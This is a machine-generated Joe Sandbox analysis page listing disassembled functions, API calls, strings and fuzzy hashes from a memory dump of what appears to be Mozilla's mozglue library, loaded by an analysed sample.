Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: c979e9f5e3f1a00de5fe7438d3db015659eec9d9f2a9af33261e728b9fdc7222
Instruction ID: fcdb87391e7327606b1953bcb800a71e5e03edd9703a7657c9613306316b57b3
Opcode Fuzzy Hash: c979e9f5e3f1a00de5fe7438d3db015659eec9d9f2a9af33261e728b9fdc7222
Instruction Fuzzy Hash: 3BF0C271F10746ABD7008F21D888676B778FFEA299F21831AF90443601E7B0A5D2CBD0

Function 6C9E1700 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 190COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C9E1800

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

Part of subcall function 6C984290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9C3EBD,6C9C3EBD,00000000), ref: 6C9842A9

Strings

{marker.name} - {marker.data.name}, xrefs: 6C9E18C7
Details, xrefs: 6C9E1925
name, xrefs: 6C9E1939

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Process$CurrentInit_thread_footerTerminatestrlen
String ID: Details$name${marker.name} - {marker.data.name}
API String ID: 46770647-1733325692
Opcode ID: 8ac4bd90d7a65b9056ba7adaa8c2e5bab73882d5251506b7932728bddd56b9dd
Instruction ID: 9de83f862f18db6952fe598be7318a9211ececc4e16fe6fa57c60ab426452057
Opcode Fuzzy Hash: 8ac4bd90d7a65b9056ba7adaa8c2e5bab73882d5251506b7932728bddd56b9dd
Instruction Fuzzy Hash: DE7116B0A007469FCB08CF28D45479ABBB1FF6A358F00466DD8155BB41D770E699CBE1

Function 6C9EB0C0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 188COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,6C9EB0A6,6C9EB0A6,?,6C9EAF67,?,00000010,?,6C9EAF67,?,00000010,00000000,?,?,6C9EAB1F), ref: 6C9EB1F2
?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,6C9EB0A6,6C9EB0A6,?,6C9EAF67,?,00000010,?,6C9EAF67,?,00000010,00000000,?), ref: 6C9EB1FF
free.MOZGLUE(?,?,?,map/set<T> too long,?,?,6C9EB0A6,6C9EB0A6,?,6C9EAF67,?,00000010,?,6C9EAF67,?,00000010), ref: 6C9EB25F

Strings

map/set<T> too long, xrefs: 6C9EB1FA

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$Xlength_error@std@@
String ID: map/set<T> too long
API String ID: 1922495194-1285458680
Opcode ID: 3176977ede14640779d23843f0f1370b14fd79d549d4b721e0ea3c1b85af3f2a
Instruction ID: c3ae8f32a1bc21b0c92bd785f165cf41c8b8981b31e176c3f26fca3a5824624b
Opcode Fuzzy Hash: 3176977ede14640779d23843f0f1370b14fd79d549d4b721e0ea3c1b85af3f2a
Instruction Fuzzy Hash: 70618A346043459FD702CF19C880A9ABBF5FF6A328F28C1A9D8595BB52C331ED45CB95

Function 6C9AD468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C9BCBE8: GetCurrentProcess.KERNEL32(?,6C9831A7), ref: 6C9BCBF1
Part of subcall function 6C9BCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9831A7), ref: 6C9BCBFA

EnterCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD4F2
LeaveCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD50B

Part of subcall function 6C98CFE0: EnterCriticalSection.KERNEL32(6CA0E784), ref: 6C98CFF6
Part of subcall function 6C98CFE0: LeaveCriticalSection.KERNEL32(6CA0E784), ref: 6C98D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD52E
EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9AD690
LeaveCriticalSection.KERNEL32(6CA0E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6C9BD1C5), ref: 6C9AD751

Strings

MOZ_CRASH(), xrefs: 6C9AD4BB

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 25aeb3f7713a5c992a4d58a9b54fa22fb47044a97cd3dc8ad3a1aecd74445bd2
Instruction ID: 480181c3bd597ee3ca1d5d41a96d67b44692f642d5df3de31fed71252c85b659
Opcode Fuzzy Hash: 25aeb3f7713a5c992a4d58a9b54fa22fb47044a97cd3dc8ad3a1aecd74445bd2
Instruction Fuzzy Hash: DE510272B047028FD358CF68C09465AB7F5FB89748F248A2ED9A9C7B85D730E846CB51

Function 6C9D4630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9D4721

Strings

-%llu, xrefs: 6C9D4733
., xrefs: 6C9D476A
profiler-paused, xrefs: 6C9D46E4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: a9e8669eb19e3b2922f8c39b9f2f13770e115639a13aba40473201c7dad23b37
Instruction ID: 240e8385c4fef3c8b6039d7be2ea55a0f9c19b4572f22831b394fff0f4d22e8e
Opcode Fuzzy Hash: a9e8669eb19e3b2922f8c39b9f2f13770e115639a13aba40473201c7dad23b37
Instruction Fuzzy Hash: 28415871B04B045BCB08CF78E85115EBBE5AF95748F11C63DE85567B81E770E8458B41

Function 6C9F9830 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

??0PrintfTarget@mozilla@@IAE@XZ.MOZGLUE ref: 6C9F985D
?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z.MOZGLUE(?,?), ref: 6C9F987D
MOZ_CrashPrintf.MOZGLUE(ElementAt(aIndex = %zu, aLength = %zu),?,?), ref: 6C9F98DE

Strings

ElementAt(aIndex = %zu, aLength = %zu), xrefs: 6C9F98D9

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: Printf$Target@mozilla@@$?vprint@Crash
String ID: ElementAt(aIndex = %zu, aLength = %zu)
API String ID: 1778083764-3290996778
Opcode ID: 60b0d1e75a260a9ddf6e868c401f0edf73c9562dae345bfdbb5025eccd66af81
Instruction ID: eae139c39eb61484aaa658dda865654e82eaaa014fd1f30d9b22f602f45d765a
Opcode Fuzzy Hash: 60b0d1e75a260a9ddf6e868c401f0edf73c9562dae345bfdbb5025eccd66af81
Instruction Fuzzy Hash: C031F671B002096FDB14AF59DC449EF77A9EF54358F00842DEA1AABB40CB31990ACBE1

Function 6C9D46E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C9D4721

Part of subcall function 6C984410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C9C3EBD,00000017,?,00000000,?,6C9C3EBD,?,?,6C9842D2), ref: 6C984444

Strings

-%llu, xrefs: 6C9D4733
., xrefs: 6C9D476A
profiler-paused, xrefs: 6C9D46E4

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 069a178fe0104e19b2d844ae32535aad6a04db19cfe2d746e56a1d576518df98
Instruction ID: f240a55195c0f4222f78cb2e61eb12ca2549fd1dc5fdd52972d3d4302adf8e32
Opcode Fuzzy Hash: 069a178fe0104e19b2d844ae32535aad6a04db19cfe2d746e56a1d576518df98
Instruction Fuzzy Hash: C9312871F043085BCB0CCF6CD8912AEBBE69B98718F15853DE805ABB41E774E8458B50

Function 6C9DB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C984290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C9C3EBD,6C9C3EBD,00000000), ref: 6C9842A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C9DB127), ref: 6C9DB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C9DB4E4

Strings

pid:, xrefs: 6C9DB4DE

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 72e1328ca5280a7a7f3d36676bb33a0122e2bcacf201d827a0a238b23576af07
Instruction ID: 50ca734bc68dac04eb0fbedd14f1fa8f2ca40c96183328bc83286053c5c28181
Opcode Fuzzy Hash: 72e1328ca5280a7a7f3d36676bb33a0122e2bcacf201d827a0a238b23576af07
Instruction Fuzzy Hash: B1311231A01A099FDB00DFA9D880AEEB7B9FF19319F554529D90177A40D731F84ACBA1

Function 6C9CE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9CE577
AcquireSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CE584
ReleaseSRWLockExclusive.KERNEL32(6CA0F4B8), ref: 6C9CE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C9CE8A6

Strings

MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9CE826, 6C9CE850
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C9CE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C9CE777
MOZ_PROFILER_STARTUP, xrefs: 6C9CE5A1, 6C9CE5CC, 6C9CE5FF, 6C9CE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C9CE722, 6C9CE750, 6C9CE7A2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: cc3589091f50f5f9e8fcbac8b904e79dab7c609620558dbebf434ea439bb5531
Instruction ID: b992b9020021182550d6c323dab49db7722d0f0b23e66bb347cd2527150f15d7
Opcode Fuzzy Hash: cc3589091f50f5f9e8fcbac8b904e79dab7c609620558dbebf434ea439bb5531
Instruction Fuzzy Hash: 84118E31705355DFCB049F18D889A6ABBB8FB893ACF00461DE84667A50C771A847CBD6

Function 6C9D0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9D0CD5

Part of subcall function 6C9BF960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9BF9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C9D0D40
free.MOZGLUE ref: 6C9D0DCB

Part of subcall function 6C9A5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C9A5EDB
Part of subcall function 6C9A5E90: memset.VCRUNTIME140(6C9E7765,000000E5,55CCCCCC), ref: 6C9A5F27
Part of subcall function 6C9A5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C9A5FB2

free.MOZGLUE ref: 6C9D0DDD
free.MOZGLUE ref: 6C9D0DF2

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 13e15bd84a213b533d9b4bcd42cba19c01a0f413fc6a6d5a6bf4b7efb02a44c2
Instruction ID: b0b12c748720c1460694572c3030797c2ea775b8bf17bccecdc57376cf93f4cd
Opcode Fuzzy Hash: 13e15bd84a213b533d9b4bcd42cba19c01a0f413fc6a6d5a6bf4b7efb02a44c2
Instruction Fuzzy Hash: CF412775A08B809BD320CF29C08079EFBE5BFA9654F119A2EE8D897750D770E445CB92

Function 6C9C0800 Relevance: 6.3, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9C0838
memset.VCRUNTIME140(?,00000000,00000158), ref: 6C9C084C
EnterCriticalSection.KERNEL32(?), ref: 6C9C08AF
LeaveCriticalSection.KERNEL32(?), ref: 6C9C08BD
LeaveCriticalSection.KERNEL32(6CA0E7DC), ref: 6C9C08D5

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset
String ID:
API String ID: 837921583-0
Opcode ID: 509fec0937af755ea88dcc82df829d8256a29df728377dda3de38888f38c8ded
Instruction ID: b4e011db57ba9cb53fe3f09a4a17044da9782e581b20ed0416dd4366beae2d1d
Opcode Fuzzy Hash: 509fec0937af755ea88dcc82df829d8256a29df728377dda3de38888f38c8ded
Instruction Fuzzy Hash: A621D070B0530A8BEB088F65D888BAE7379BF44748F50856CD509A7A40DB32E8068BD2

Function 6C9DCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DCDA4

Part of subcall function 6C99CA10: malloc.MOZGLUE(?), ref: 6C99CA26

Part of subcall function 6C9DD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C9DCDBA,00100000,?,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DD158
Part of subcall function 6C9DD130: InitializeConditionVariable.KERNEL32(00000098,?,6C9DCDBA,00100000,?,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DCDC4

Part of subcall function 6C9D7480: ReleaseSRWLockExclusive.KERNEL32(?,6C9E15FC,?,?,?,?,6C9E15FC,?), ref: 6C9D74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DCECC

Part of subcall function 6C99CA10: mozalloc_abort.MOZGLUE(?), ref: 6C99CAA2

Part of subcall function 6C9CCB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C9DCEEA,?,?,?,?,00000000,?,6C9CDA31,00100000,?,?,00000000), ref: 6C9CCB57
Part of subcall function 6C9CCB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C9CCBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C9DCEEA,?,?), ref: 6C9CCBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C9CDA31,00100000,?,?,00000000,?), ref: 6C9DD058

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: c7deac738c7c317b85242e0647f334c3d1f1708224c11afb49880e5e3cffb599
Instruction ID: 68f536d02167ebaf8509f007e903a7cf33873de6a722aad0a23553a7b864636d
Opcode Fuzzy Hash: c7deac738c7c317b85242e0647f334c3d1f1708224c11afb49880e5e3cffb599
Instruction Fuzzy Hash: 34D16D71A04B469FD708CF28C480BA9F7E1BF99308F01862DD8599B751EB31F9A5CB81

Function 6C991720 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6C9917B2
memset.VCRUNTIME140(?,00000000,?,?), ref: 6C9918EE
free.MOZGLUE(?), ref: 6C991911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C99194C

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 8070820a4c04692725fc673f925debeb53e23128e0f0c7e0e368a2ccf1fa4301
Instruction ID: a2643b09db750b638e3a46302da9486391cc97fc06340ac362458f369d91fb05
Opcode Fuzzy Hash: 8070820a4c04692725fc673f925debeb53e23128e0f0c7e0e368a2ccf1fa4301
Instruction Fuzzy Hash: 3981C274A112069FDB08CF68D8949BEBBB9FF8A314F08456CE811AB754D730E855CBA1

Function 6C9A5C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C9A5D40
EnterCriticalSection.KERNEL32(6CA0F688), ref: 6C9A5D67
__aulldiv.LIBCMT ref: 6C9A5DB4
LeaveCriticalSection.KERNEL32(6CA0F688), ref: 6C9A5DED

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3558af7b980de45f94ddf5dfd46c4b49c39351f991ab806611225e987f44f865
Instruction ID: eaa14b7eb9bf810d0756e1a49d333790c75cf6b388517983bba49eb57facac47
Opcode Fuzzy Hash: 3558af7b980de45f94ddf5dfd46c4b49c39351f991ab806611225e987f44f865
Instruction Fuzzy Hash: F7514C71F002568FCF08CEA8C854AAEBBB2BB99308F19861DD855B7751C731A947CB90

Function 6C98CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C98CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C98CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C98CF4E

Strings

0, xrefs: 6C98CF30

Memory Dump Source

Source File: 00000000.00000002.2613820549.000000006C981000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C980000, based on PE: true

Associated: 00000000.00000002.2613801295.000000006C980000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613874448.000000006C9FD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613899470.000000006CA0E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2613919289.000000006CA12000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c980000_gYjK72gL17.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 76507117121ca90f6ecfe131959e13c479a28f40ab1370f6f188592002b7f13e
Instruction ID: 6b1ba8642c77807c709ec5b254fc61b86c5e3ea5eda8bf15047157f9a9ef356f
Opcode Fuzzy Hash: 76507117121ca90f6ecfe131959e13c479a28f40ab1370f6f188592002b7f13e
Instruction Fuzzy Hash: 0C510375A002568FCB00CF18C490A9ABBB5EF99304F19869DD8595F752D771ED06CBE0

Function 6C9E77D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C9E77FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C9E7829

Part of subcall function 6C9BCC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C9831A7), ref: 6C9BCC45
Part of subcall function 6C9BCC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C9831A7), ref: 6C9BCC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C9E789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C9E78CF

Part of subcall function 6C984DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C984E5A
